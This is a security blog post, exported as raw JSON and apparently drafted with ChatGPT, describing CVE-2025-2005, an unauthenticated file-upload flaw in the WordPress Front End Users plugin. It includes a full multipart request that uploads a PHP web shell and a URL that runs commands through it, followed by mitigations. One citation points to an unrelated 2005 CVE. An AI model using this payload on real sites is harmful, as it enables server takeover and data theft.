{"id":20261,"date":"2025-04-09T08:24:40","date_gmt":"2025-04-09T08:24:40","guid":{"rendered":""},"modified":"2025-07-07T05:24:31","modified_gmt":"2025-07-07T11:24:31","slug":"cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-2005-critical-vulnerability-in-the-wordpress-plugin-front-end-users-feup\/","title":{"rendered":"<strong>CVE-2025-2005:<\/strong> Critical Vulnerability in the WordPress plugin &#8220;Front End Users&#8221; (FEUP)"},"content":{"rendered":"<article class=\"text-token-text-primary w-full\" dir=\"auto\" data-testid=\"conversation-turn-86\" data-scroll-anchor=\"false\">\n<div class=\"text-base my-auto mx-auto py-5 [--thread-content-margin:--spacing(4)] @[37rem]:[--thread-content-margin:--spacing(6)] @[70rem]:[--thread-content-margin:--spacing(12)] px-(--thread-content-margin)\">\n<div class=\"[--thread-content-max-width:32rem] @[34rem]:[--thread-content-max-width:40rem] @[64rem]:[--thread-content-max-width:48rem] mx-auto flex max-w-(--thread-content-max-width) flex-1 text-base gap-4 md:gap-5 lg:gap-6 group\/turn-messages focus-visible:outline-hidden\" tabindex=\"-1\">\n<div class=\"group\/conversation-turn relative flex w-full min-w-0 flex-col agent-turn\">\n<div class=\"relative flex-col gap-1 md:gap-3\">\n<div class=\"flex max-w-full flex-col grow\">\n<div class=\"min-h-8 text-message relative flex w-full flex-col items-end gap-2 text-start break-words whitespace-normal [.text-message+&amp;]:mt-5\" dir=\"auto\" data-message-author-role=\"assistant\" data-message-id=\"24a8427e-5cac-4e41-b5de-0d5734778ee4\" data-message-model-slug=\"gpt-4o\">\n<div class=\"flex w-full flex-col gap-1 empty:hidden first:pt-[3px]\">\n<div class=\"markdown prose dark:prose-invert w-full break-words light\">\n<p class=\"\" data-start=\"0\" data-end=\"126\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">CVE-2025-2005 is a critical vulnerability in the WordPress plugin &#8220;Front End Users&#8221; (FEUP), versions up to and including 3.2.32. This flaw allows unauthenticated attackers to upload arbitrary files, potentially leading to remote code execution (RCE) on the affected server.<\/span><\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n<\/article>\n<article class=\"text-token-text-primary w-full\" dir=\"auto\" data-testid=\"conversation-turn-88\" data-scroll-anchor=\"true\">\n<div class=\"text-base my-auto mx-auto py-5 [--thread-content-margin:--spacing(4)] @[37rem]:[--thread-content-margin:--spacing(6)] @[70rem]:[--thread-content-margin:--spacing(12)] px-(--thread-content-margin)\">\n<div class=\"[--thread-content-max-width:32rem] @[34rem]:[--thread-content-max-width:40rem] @[64rem]:[--thread-content-max-width:48rem] mx-auto flex max-w-(--thread-content-max-width) flex-1 text-base gap-4 md:gap-5 lg:gap-6 group\/turn-messages focus-visible:outline-hidden\" tabindex=\"-1\">\n<div class=\"group\/conversation-turn relative flex w-full min-w-0 flex-col agent-turn\">\n<div class=\"relative flex-col gap-1 md:gap-3\">\n<div class=\"flex max-w-full flex-col grow\">\n<div class=\"min-h-8 text-message relative flex w-full flex-col items-end gap-2 text-start break-words whitespace-normal [.text-message+&amp;]:mt-5\" dir=\"auto\" data-message-author-role=\"assistant\" data-message-id=\"05adb094-9097-4a90-af86-51d90ab2879c\" data-message-model-slug=\"gpt-4o\">\n<div class=\"flex w-full flex-col gap-1 empty:hidden first:pt-[3px]\">\n<div class=\"markdown prose dark:prose-invert w-full break-words light\">\n<p class=\"\" data-start=\"133\" data-end=\"158\"><strong data-start=\"133\" data-end=\"158\">Vulnerability Summary<\/strong><\/p>\n<ul data-start=\"160\" data-end=\"777\">\n<li class=\"\" data-start=\"160\" data-end=\"255\">\n<p class=\"\" data-start=\"162\" data-end=\"255\"><strong data-start=\"162\" data-end=\"173\">CVE ID:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">CVE-2025-2005<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"256\" data-end=\"353\">\n<p class=\"\" data-start=\"258\" data-end=\"353\"><strong data-start=\"258\" data-end=\"271\">Severity:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Critical (CVSS 3.1 Score: 9.8)<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/cve.circl.lu\/vuln\/CVE-2025-2005?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">CIRCL CVE<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">NVD<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"354\" data-end=\"456\">\n<p class=\"\" data-start=\"356\" data-end=\"456\"><strong data-start=\"356\" data-end=\"374\">Attack Vector:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Network<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/www.cve.org\/CVERecord?id=CVE-2005-0831&amp;utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">CVE<\/span><\/span><\/span><\/a><\/span><\/p><div id=\"ameeb-3015335167\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<\/li>\n<li class=\"\" data-start=\"457\" data-end=\"567\">\n<p class=\"\" data-start=\"459\" data-end=\"567\"><strong data-start=\"459\" data-end=\"483\">Privileges Required:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">None<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"568\" data-end=\"677\">\n<p class=\"\" data-start=\"570\" data-end=\"677\"><strong data-start=\"570\" data-end=\"591\">User Interaction:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">None<\/span>\u200b<\/p><div id=\"ameeb-574981376\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<\/li>\n<li class=\"\" data-start=\"678\" data-end=\"777\">\n<p class=\"\" data-start=\"680\" data-end=\"777\"><strong data-start=\"680\" data-end=\"691\">Impact:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Allows unauthenticated attackers to upload arbitrary files, leading to potential RCE<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/github.com\/mrmtwoj\/CVE-2025-2005?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Aqua Vulnerability Database<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+4<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+4<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">CIRCL CVE<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+4<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"784\" data-end=\"805\"><strong data-start=\"784\" data-end=\"805\">Affected Products<\/strong><\/p>\n<div class=\"pointer-events-none relative left-[50%] flex w-[100cqw] translate-x-[-50%] justify-center *:pointer-events-auto\">\n<div class=\"tableContainer horzScrollShadows\">\n<table class=\"min-w-full\" data-start=\"807\" data-end=\"1041\">\n<thead data-start=\"807\" data-end=\"853\">\n<tr data-start=\"807\" data-end=\"853\">\n<th data-start=\"807\" data-end=\"832\">Product<\/th>\n<th data-start=\"832\" data-end=\"853\">Affected Versions<\/th>\n<\/tr>\n<\/thead>\n<tbody data-start=\"901\" data-end=\"1041\">\n<tr data-start=\"901\" data-end=\"1041\">\n<td class=\"max-w-[calc(var(--thread-content-max-width)*2\/3)]\" data-start=\"901\" data-end=\"943\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Front End <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3054-arbitrary-file-upload-vulnerability-in-wp-user-frontend-pro-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"59232\">Users Plugin<\/a><\/span><\/td>\n<td class=\"max-w-[calc(var(--thread-content-max-width)*2\/3)]\" data-start=\"943\" data-end=\"994\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">\u2264 3.2.32<\/span><\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<hr class=\"\" data-start=\"1043\" data-end=\"1046\" \/>\n<p class=\"\" data-start=\"1048\" data-end=\"1073\"><strong data-start=\"1048\" data-end=\"1073\">How the Exploit Works<\/strong><\/p>\n<p class=\"\" data-start=\"1075\" data-end=\"1240\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6140-arbitrary-file-upload-vulnerability-in-essential-real-estate-wordpress-plugin\/\"  data-wpil-monitor-id=\"24578\">vulnerability arises from the plugin&#8217;s failure to validate file<\/a> types during the registration process.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">An attacker can craft a <code class=\"\" data-line=\"\">multipart\/form-data<\/code> POST <a class=\"wpil_keyword_link\" href=\"https:\/\/www.ameeba.com\"   title=\"request\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"24312\">request<\/a> to the registration form, including a malicious PHP file.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Despite the plugin renaming uploaded files with random hashes, if the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2024-21318-remote-code-execution-in-microsoft-sharepoint-server-via-deserialization\/\"  data-wpil-monitor-id=\"25452\">server allows PHP execution<\/a> in the upload directory, the attacker can execute the uploaded script, leading to full system compromise.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/github.com\/mrmtwoj\/CVE-2025-2005?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+1<\/span><\/span><\/span><\/a><\/span><span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/github.com\/Nxploited\/CVE-2025-2005?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><\/span><\/span><\/a><\/span><\/p>\n<p class=\"\" data-start=\"1247\" data-end=\"1274\"><strong data-start=\"1247\" data-end=\"1274\">Conceptual Example Code<\/strong><\/p>\n<p class=\"\" data-start=\"1276\" data-end=\"1361\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Here&#8217;s a conceptual example of how an <a href=\"https:\/\/www.ameeba.com\/blog\/unmasking-tcesb-malware-a-deep-analysis-of-active-attacks-exploiting-eset-security-scanner\/\"  data-wpil-monitor-id=\"26884\">attacker might exploit<\/a> this vulnerability:<\/span>\u200b<\/p>\n<div class=\"contain-inline-size rounded-md border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary\">\n<div class=\"overflow-y-auto p-4\" dir=\"ltr\"><code class=\"\" data-line=\"\">POST \/register\/ HTTP\/1.1<br \/>\nHost: vulnerable-site.com<br \/>\nContent-Type: multipart\/form-data; boundary=----WebKitFormBoundary<\/p>\n<p>------WebKitFormBoundary<br \/>\nContent-Disposition: form-data; name=&quot;Username&quot;<\/p>\n<p>attacker<br \/>\n------WebKitFormBoundary<br \/>\nContent-Disposition: form-data; name=&quot;User_Password&quot;<\/p>\n<p>password123<br \/>\n------WebKitFormBoundary<br \/>\nContent-Disposition: form-data; name=&quot;Confirm_User_Password&quot;<\/p>\n<p>password123<br \/>\n------WebKitFormBoundary<br \/>\nContent-Disposition: form-data; name=&quot;malicious_file&quot;; filename=&quot;shell.php&quot;<br \/>\nContent-Type: application\/x-php<\/p>\n<p>&lt;?php system($_GET[&#039;cmd&#039;]); ?&gt;<br \/>\n------WebKitFormBoundary--<br \/>\n<\/code><\/div>\n<\/div>\n<p class=\"\" data-start=\"1960\" data-end=\"1999\">\n<p class=\"\" data-start=\"2001\" data-end=\"2086\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">After sending this request, the malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2780-critical-arbitrary-file-upload-vulnerability-in-woffice-core-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"27342\">file would be uploaded<\/a> to the server, potentially accessible at:\u200b<\/p>\n<div class=\"contain-inline-size rounded-md border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary\">\n<div class=\"sticky top-9\">\n<div class=\"absolute end-0 bottom-0 flex h-9 items-center pe-2\">\n<div class=\"bg-token-sidebar-surface-primary text-token-text-secondary dark:bg-token-main-surface-secondary flex items-center rounded-sm px-2 font-sans text-xs\"><\/div>\n<\/div>\n<\/div>\n<div class=\"overflow-y-auto p-4\" dir=\"ltr\"><code class=\"\" data-line=\"\">http:&lt;span class=&quot;hljs-comment&quot;&gt;\/\/vulnerable-site.com\/wp-content\/uploads\/ewd_feup_uploads\/[random_filename].php&lt;\/span&gt;<br \/>\n<\/code><\/div>\n<\/div>\n<p class=\"\" data-start=\"2182\" data-end=\"2221\">\n<p class=\"\" data-start=\"2223\" data-end=\"2308\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">The attacker could then <a href=\"https:\/\/www.ameeba.com\/blog\/nsa-and-cyber-command-executives-withdraw-from-premier-cybersecurity-conference-unpacking-the-implications\/\"  data-wpil-monitor-id=\"29257\">execute commands<\/a> by accessing:\u200b<\/p>\n<div class=\"contain-inline-size rounded-md border-[0.5px] border-token-border-medium relative bg-token-sidebar-surface-primary\">\n<div class=\"overflow-y-auto p-4\" dir=\"ltr\"><code class=\"\" data-line=\"\">http:\/\/vulnerable-site.com\/wp-content\/uploads\/ewd_feup_uploads\/[random_filename].php?cmd=&lt;span class=&quot;hljs-built_in&quot;&gt;whoami&lt;\/span&gt;<br \/>\n<\/code><\/div>\n<\/div>\n<p class=\"\" data-start=\"2461\" data-end=\"2480\"><strong data-start=\"2461\" data-end=\"2480\">Potential Risks<\/strong><\/p>\n<ul data-start=\"2482\" data-end=\"2921\">\n<li class=\"\" data-start=\"2482\" data-end=\"2569\">\n<p class=\"\" data-start=\"2484\" data-end=\"2569\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Remote Code Execution (RCE)<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/github.com\/mrmtwoj\/CVE-2025-2005?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"2570\" data-end=\"2657\">\n<p class=\"\" data-start=\"2572\" data-end=\"2657\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Full system compromise<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"2658\" data-end=\"2745\">\n<p class=\"\" data-start=\"2660\" data-end=\"2745\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\"><a class=\"wpil_keyword_link\" href=\"https:\/\/chat.ameeba.com\"   title=\"Data\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"24313\">Data<\/a> exfiltration<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"2746\" data-end=\"2833\">\n<p class=\"\" data-start=\"2748\" data-end=\"2833\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Website defacement<\/span>\u200b<\/p>\n<\/li>\n<li class=\"\" data-start=\"2834\" data-end=\"2921\">\n<p class=\"\" data-start=\"2836\" data-end=\"2921\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\"><a class=\"wpil_keyword_link\" href=\"https:\/\/ameeba.com\"   title=\"Malware\" data-wpil-keyword-link=\"linked\"  data-wpil-monitor-id=\"24311\">Malware<\/a> deployment<\/span>\u200b<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"2928\" data-end=\"2958\"><strong data-start=\"2928\" data-end=\"2958\">Mitigation Recommendations<\/strong><\/p>\n<ul data-start=\"2960\" data-end=\"3405\">\n<li class=\"\" data-start=\"2960\" data-end=\"3066\">\n<p class=\"\" data-start=\"2962\" data-end=\"3066\"><strong data-start=\"2962\" data-end=\"2980\">Update Plugin:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Upgrade the Front End Users <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6735-privilege-escalation-vulnerability-in-checkmks-mk_tsm-agent-plugin\/\"  data-wpil-monitor-id=\"26883\">plugin to the latest version that addresses this vulnerability<\/a>.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/vulners.com\/cve\/CVE-2025-2005?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+5<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Vulners<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+5<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">CIRCL CVE<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+5<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"3067\" data-end=\"3181\">\n<p class=\"\" data-start=\"3069\" data-end=\"3181\"><strong data-start=\"3069\" data-end=\"3095\">Restrict File Uploads:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Implement server-side checks to validate <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-48243-critical-remote-code-execution-vulnerability-allowing-unauthorized-file-upload\/\"  data-wpil-monitor-id=\"34123\">file types and restrict executable<\/a> file uploads.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/avd.aquasec.com\/nvd\/2025\/cve-2025-2005\/?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+2<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">Aqua Vulnerability Database<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+2<\/span><\/span><span class=\"flex h-4 w-full items-center justify-between absolute\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><span class=\"ms-1 -me-1 flex h-full items-center rounded-full px-1 text-[#8F8F8F]\">+2<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"3182\" data-end=\"3296\">\n<p class=\"\" data-start=\"3184\" data-end=\"3296\"><strong data-start=\"3184\" data-end=\"3210\">Disable PHP Execution:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Configure the server to prevent PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-20282-unauthenticated-file-upload-and-execution-vulnerability-in-cisco-ise-and-ise-pic\/\"  data-wpil-monitor-id=\"64492\">execution in the upload<\/a> directories.<\/span>\u200b<span class=\"ms-1 inline-flex max-w-full items-center relative top-[-0.094rem] animate-[show_150ms_ease-in]\"><a class=\"flex h-6 overflow-hidden rounded-xl px-2.5 text-[0.5625em] font-medium !text-token-text-secondary !bg-[#F4F4F4] dark:!bg-[#303030] transition-colors duration-150 ease-in-out\" href=\"https:\/\/github.com\/Nxploited\/CVE-2025-2005?utm_source=chatgpt.com\" target=\"_blank\" rel=\"noopener\"><span class=\"relative start-0 bottom-0 flex h-full w-full items-center\"><span class=\"flex h-4 w-full items-center justify-between overflow-hidden\"><span class=\"max-w-full grow truncate overflow-hidden text-center\">GitHub<\/span><\/span><\/span><\/a><\/span><\/p>\n<\/li>\n<li class=\"\" data-start=\"3297\" data-end=\"3405\">\n<p class=\"\" data-start=\"3299\" data-end=\"3405\"><strong data-start=\"3299\" data-end=\"3319\">Monitor Uploads:<\/strong> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Regularly scan the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-2328-arbitrary-file-deletion-vulnerability-in-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin\/\"  data-wpil-monitor-id=\"29564\">upload directories for unauthorized files<\/a>.<\/span>\u200b<\/p>\n<\/li>\n<\/ul>\n<p class=\"\" data-start=\"3412\" data-end=\"3426\"><strong data-start=\"3412\" data-end=\"3426\">Conclusion<\/strong><\/p>\n<p class=\"\" data-start=\"3428\" data-end=\"3553\"><span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">CVE-2025-2005 poses a significant threat to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-6532-cross-site-request-forgery-vulnerability-in-wp-blogs-planetarium-wordpress-plugin-vulnerability-summary\/\"  data-wpil-monitor-id=\"25032\">WordPress sites using vulnerable versions of the Front End<\/a> Users plugin.<\/span> <span class=\"relative -mx-px my-[-0.2rem] rounded px-px py-[0.2rem] transition-colors duration-100 ease-in-out\">Immediate action is required to patch the vulnerability, implement proper file validation, and ensure server configurations prevent unauthorized <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-29048-remote-code-execution-via-oxmf-template-injection-in-open-xchange-app-suite\/\"  data-wpil-monitor-id=\"24570\">code execution<\/a>.<\/span>\u200b<\/p>\n<p class=\"\" data-start=\"3560\" data-end=\"3574\"><strong data-start=\"3560\" data-end=\"3574\">References<\/strong><\/p>\n<ul data-start=\"3576\" data-end=\"3917\">\n<li class=\"\" data-start=\"3576\" data-end=\"3647\">\n<p class=\"\" data-start=\"3578\" data-end=\"3647\"><a class=\"\" href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2025-2005\" target=\"_new\" rel=\"noopener\" data-start=\"3578\" data-end=\"3647\">NVD \u2013 CVE-2025-2005<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"3648\" data-end=\"3777\">\n<p class=\"\" data-start=\"3650\" data-end=\"3777\"><a target=\"_new\" rel=\"noopener\" data-start=\"3650\" data-end=\"3777\">Wordfence Advisory<\/a><\/p>\n<\/li>\n<li class=\"\" data-start=\"3778\" data-end=\"3849\">\n<p class=\"\" data-start=\"3780\" data-end=\"3849\"><a class=\"\" 